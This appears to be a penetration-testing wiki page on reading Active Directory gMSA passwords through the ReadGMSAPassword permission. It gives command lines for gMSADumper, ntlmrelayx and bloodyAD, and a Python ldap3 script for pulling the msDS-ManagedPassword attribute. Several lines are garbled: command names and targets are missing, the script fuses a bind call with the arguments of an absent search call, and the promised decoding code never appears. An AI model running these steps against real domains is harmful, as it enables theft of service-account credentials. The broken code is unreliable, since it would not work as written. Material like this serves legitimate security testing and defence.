This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that has enough permissions listed in the target gMSA account's msDS-GroupMSAMembership attribute's DACL. Usually, these objects are principals that were configured to be explictly allowed to use the gMSA account.

The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.

On UNIX-like systems, gMSADumper (Python) can be used to read and decode gMSA passwords. It supports cleartext NTLM, pass-the-hash and Kerberoas authentications. -u 'user' -p 'password' -d 'domain.local'

Alternative #1: Impacket's ntlmrelayx tool can be used to read and decode gMSA passwords. ⚠️ Some tests showed ntlmrelayx missed entries gMSADumper didn't. -t ldaps:// -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs 

In order to easily fake a relayed authentication, once the relay servers are up and running, the tester can browse in order to trigger a basic authentication that will then be relayed by ntlmrelayx, like this.

Alternative #2: The msDS-ManagedPassword attribute can also be manually obtained by running the following Python script. The following code can then be used to decode the blob.

import ldap3
target_dn = "" # something like 'CN=Target User,OU=Standard Accounts,DC=domain,DC=local'
domain = "domain"
username = "username"
user = "{}\\{}".format(domain, username)
password = "password"
server = ldap3.Server(domain)
connection = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
connection.bind(), '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])

Alternative #3: Using bloodyAD

bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword


Last updated